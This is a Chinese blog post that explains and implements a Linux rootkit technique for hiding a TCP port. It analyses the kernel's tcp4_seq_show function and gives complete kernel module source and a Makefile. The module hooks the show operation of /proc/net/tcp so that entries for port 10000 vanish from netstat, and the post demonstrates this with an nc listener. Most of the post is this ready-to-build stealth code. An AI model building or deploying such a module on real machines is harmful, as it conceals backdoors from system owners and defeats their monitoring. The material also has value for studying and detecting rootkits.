首页 > 其他分享 >rootkit隐藏端口

rootkit隐藏端口

时间:2023-03-21 17:33:05浏览次数:42  
标签:seq show 端口 tcp hook rootkit printk 隐藏 afinfo

1. 基本原理

rootkit隐藏的基本步骤是:

  • hook掉某一个系统函数,用自己的函数代替
  • 自己的函数调用原函数,然后对于原函数的结果进行处理
  • 返回处理结果

2. 实现

2.1 应该hook哪一个函数呢?

可以hook的函数有很多,如果我们使用strace命令来查看cat /proc/net/tcp的话,可以看到它使用了read和write函数,那么我们可以从hook掉sys_read系统调用或者sys_write系统调用。

当然,如果我们知道无论是cat命令查看端口还是netstat查看端口,都是读取/proc/net/tcp文件的话,那么我们就可以hook该文件的钩子函数来实现隐藏端口的目的了。

根据相关资料,/proc/net/tcp文件通过tcp4_proc_init_net函数初始化,它将tcp4_seq_afinfo注册关联给了该文件,而tcp4_seq_afinfo结构的show函数是tcp4_seq_show函数,具体可以去https://elixir.bootlin.com/linux/v4.15/source中查询。
那么我们应该hook掉tcp4_seq_show函数

相关资料

https://blog.wohin.me/posts/linux-rootkit-02-04/
https://guanjunjian.github.io/2017/11/09/study-8-proc-net-tcp-analysis/

2.2 tcp4_seq_show函数简单分析

tcp4_seq_show函数代码如下,位于/net/ipv4/tcp_ipv4.c的2335行

#define TMPSZ 150
static int tcp4_seq_show(struct seq_file *seq, void *v)
{
	struct tcp_iter_state *st;
	struct sock *sk = v;

	seq_setwidth(seq, TMPSZ - 1);
	if (v == SEQ_START_TOKEN) {
		seq_puts(seq, "  sl  local_address rem_address   st tx_queue "
			   "rx_queue tr tm->when retrnsmt   uid  timeout "
			   "inode");
		goto out;
	}
	st = seq->private;

	if (sk->sk_state == TCP_TIME_WAIT)
		get_timewait4_sock(v, seq, st->num);
	else if (sk->sk_state == TCP_NEW_SYN_RECV)
		get_openreq4(v, seq, st->num);
	else
		get_tcp4_sock(v, seq, st->num);
out:
	seq_pad(seq, '\n');
	return 0;
}

从中可以简单看到它的逻辑是:

  • 首先延长seq_file中的缓存空间TMPSZ大小(可以简单理解为一条记录的大小为TMPSZ)
  • 写入相应的信息
  • 返回
    通过多次调用该函数将/proc/net/tcp下的文件信息全部写入到seq_file中

2.3 hook实现

/**
 * 本模块的目标是隐藏TCP 10000号端口
 * 主要是通过hook tcp4_seq_show函数来实现
 * /proc/net/tcp文件的操作函数的show函数
*/


#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/seq_file.h>
#include <linux/fs.h>
#include <net/tcp.h>
#include <linux/proc_fs.h>

#define NET_ENTRY "/proc/net/tcp"
#define SEQ_AFINFO_STRUCT struct tcp_seq_afinfo


#define set_afinfo_seq_op(op, path, afinfo_struct, new, old)    \
    do {    \
        struct file *filp;  \
        afinfo_struct *afinfo;  \
        filp = filp_open(path, O_RDONLY, 0);    \
        if (IS_ERR(filp)) { \
            printk("Failed to open %s with error %ld.\n",   \
                    path, PTR_ERR(filp));   \
            old = NULL; \
        } else {    \
            afinfo = PDE_DATA(filp->f_path.dentry->d_inode);    \
            old = afinfo->seq_ops.op;   \
            printk("Setting seq_op->"#op" from %p to %p.", old, new); \
            afinfo->seq_ops.op = new;   \
            filp_close(filp, 0);    \
        }   \
    } while (0)

#define NEEDLE_LEN 6
#define SECREAT_PORT 10000
// TMPSZ定义在net/ipv4/tcp_ipv4.c中,大小为150,表示每一项的大小为150
#define TMPSZ 150

int (*real_seq_show)(struct seq_file *seq, void *v);

int fake_seq_show(struct seq_file *seq, void *v) {
    printk("in fake_seq_show");
    int ret;
    char needle[NEEDLE_LEN];
    snprintf(needle, NEEDLE_LEN, ":%04X", SECREAT_PORT);
    printk("needle: %s\n", needle);
    printk("origin count: %d\n", seq->count);
    ret = real_seq_show(seq, v);
    printk("seq->buf: %s\n", seq->buf);
    printk("seq->count: %d\n", seq->count);

    if (strnstr(seq->buf + seq->count - TMPSZ, needle, TMPSZ)) {
        printk("Hiding port %d using needle %s.\n", SECREAT_PORT, needle);
        seq->count -= TMPSZ;
        printk("new seq_count: %d\n", seq->count);
    }

    return ret;
}

static int __init init_hook(void) {
    set_afinfo_seq_op(show, NET_ENTRY, SEQ_AFINFO_STRUCT, fake_seq_show, real_seq_show);
    return 0;
}

static void __exit exit_hook(void) {
    printk("goodbye hacker!!!");
    if (real_seq_show) {
        void *dummy;
        set_afinfo_seq_op(show, NET_ENTRY, SEQ_AFINFO_STRUCT, real_seq_show, dummy);
    }
}

module_init(init_hook);
module_exit(exit_hook);

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Bunner");

CONFIG_MODULE_SIG=n

obj-m += hide_port.o

all:
		make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
		make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

2.4 hook结果

首先通过nc命令监听一个端口

nc -l -p 10000

接着使用netstat命令查看端口状态

可以看到并没有显示10000端口的信息,通过dmesg查看内核日志

可以看到10000端口的记录被删除了

标签:seq,show,端口,tcp,hook,rootkit,printk,隐藏,afinfo
From: https://www.cnblogs.com/bunner/p/17240557.html

相关文章

  • bat命令解除端口占用的问题
    −目录Dos命令查看端口占用查看端口使用情况查看被占用的端口信息例如:9002查看pid对应的进程结束进程解除占用Dos命令查看端口占用查看端口使用情况......
  • 在线直播系统源码,顶部标题栏的隐藏和显示、标题修改
    在线直播系统源码,顶部标题栏的隐藏和显示、标题修改1、顶部标题栏的隐藏:在我们的project工程下,找到“values”文件夹下的“themes.xml”或“styles.xml”文件(文件位置一......
  • Vue实现图片点击隐藏效果
    一  创建一个web项目,本地导入vue.js    创建一个包含HTML基本项目的Web项目,在js文件下下导入本地的Vue.js文件,通过<scriptsrc="js/vue.js"></script>将Vue.js文......
  • 使用python来模拟端口被占用的测试场景
    一、测试场景拿到一个运维如软件,做安装部署测试。其中,测试过程中存在一种场景:由于环境清理不干净等原因,导致软件安装部署时,某个组件的端口号被占用,而导致部署失败的情况。......
  • 定位、opacity透明度属性、visibility和display隐藏元素
    定位、opacity透明度属性、visibility和display隐藏元素1.定位position(确定的是移动的基准)static,默认值。静态的。(不让动)relative,相对。相对于自身的位置来移动......
  • Vue 长文本自动隐藏和单选框默认选择
      末尾加show-tooltip-when-overflow 单选框label前加:<el-form-itemlabel="代理机构状态"><el-radio-groupv-model="form.agentstatus"><el-radio:label=......
  • 服务端口号
    ●telnet 23/tcp●ssh 22/tcp ●nfs 2049/tcp●rpc 111/tcp|111/udp●krb5kdc 80/tcp|80/udp●kadmin 749/tcp|749/udp......
  • linux打开端口
    1、开启防火墙systemctlstartfirewalld2、开放指定端口firewall-cmd--zone=public--add-port=1935/tcp--permanent命令含义:--zone#作用域--add-port=1935/tcp......
  • vue实现图片隐藏
    页面效果:单击图片时图片隐藏显示背景,再次点击重新显示图片。 实现流程:第一步:创建web项目,导入vue.js 第二步:实例化vue对象,在页面中引入<script>标签,并在<script>......
  • SQL Server开启1433端口,彻底解决方案
    SQLServer开启1433端口,彻底解决方案yaohan404关注IP属地:广东0.1782018.01.0510:34:18字数377阅读29,057环境:Windows10+SQLServer2008在用JDBC连接SQLSe......